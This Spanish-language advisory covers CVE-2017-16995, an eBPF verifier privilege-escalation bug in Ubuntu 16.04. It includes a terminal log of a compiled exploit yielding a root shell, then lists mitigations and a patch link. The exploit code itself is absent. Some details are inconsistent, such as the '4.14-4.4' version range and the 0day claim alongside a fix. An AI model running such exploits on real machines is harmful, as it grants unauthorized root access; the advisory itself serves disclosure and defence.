
Ubuntu es un sistema operativo GNU/Linux de código abierto orientado principalmente a aplicaciones de escritorio, basado en Debian GNU/Linux. Recientemente, un hacker de sombrero blanco reveló que la última versión de Ubuntu (Ubuntu 16.04) contiene una vulnerabilidad de escalada de privilegios local, con el identificador CVE-2017-16995. Esta vulnerabilidad existe en el subsistema del kernel de Linux que invoca eBPF bpf(2). Cuando un usuario proporciona un programa BPF malicioso, provoca un error de cálculo en el módulo verificador de eBPF, lo que lleva a problemas de lectura/escritura arbitraria de memoria. Un usuario con bajos privilegios puede explotar esta vulnerabilidad para obtener privilegios administrativos. Esta vulnerabilidad ya fue corregida en versiones antiguas, pero sigue siendo explotable en la última versión. El oficial aún no ha publicado un parche correspondiente, y la vulnerabilidad se encuentra en estado 0day.
Versión del kernel de Linux 4.14-4.4 Solo afecta a las distribuciones Ubuntu/Debian
Crítico
bearcat@ubuntu:/opt$ lsb_release -a
<br>No LSB modules are available.
<br>Distributor ID: Ubuntu
<br>Description: Ubuntu 16.04.4 LTS
<br>Release: 16.04
<br>Codename: xenial
<br>bearcat@ubuntu:/opt$ uname -a
<br>Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
<br>bearcat@ubuntu:/opt$ id
<br>uid=1000(bearcat) gid=1000(bearcat) <br>groups=1000(bearcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
<br>bearcat@ubuntu:/opt$ ls
<br>exploit.c
<br>bearcat@ubuntu:/opt$ gcc exploit.c -o exploit
<br>bearcat@ubuntu:/opt$ ./exploit
<br>task_struct = ffff88003a0db800
<br>uidptr = ffff8800374b76c4
<br>spawning root shell
<br>root@ubuntu:/opt# id
<br>uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(bearcat)
<br>root@ubuntu:/opt#
Actualmente no se ha propuesto una solución de parche clara, pero se recomienda a los usuarios mitigar la vulnerabilidad limitando el uso de la llamada al sistema bpf(2) por parte de usuarios no privilegiados modificando un parámetro del kernel:
Establecer el parámetro "kernel.unprivileged_bpf_disabled = 1" para evitar esta escalada de privilegios al restringir el acceso a la llamada bpf(2).
root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
Actualizar la versión del kernel de Linux, que surtirá efecto después de reiniciar el servidor:
Este paso ya ha sido descrito en el proceso de configuración del entorno; ¡el usuario solo necesita modificar la versión del kernel!
Parche de código https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f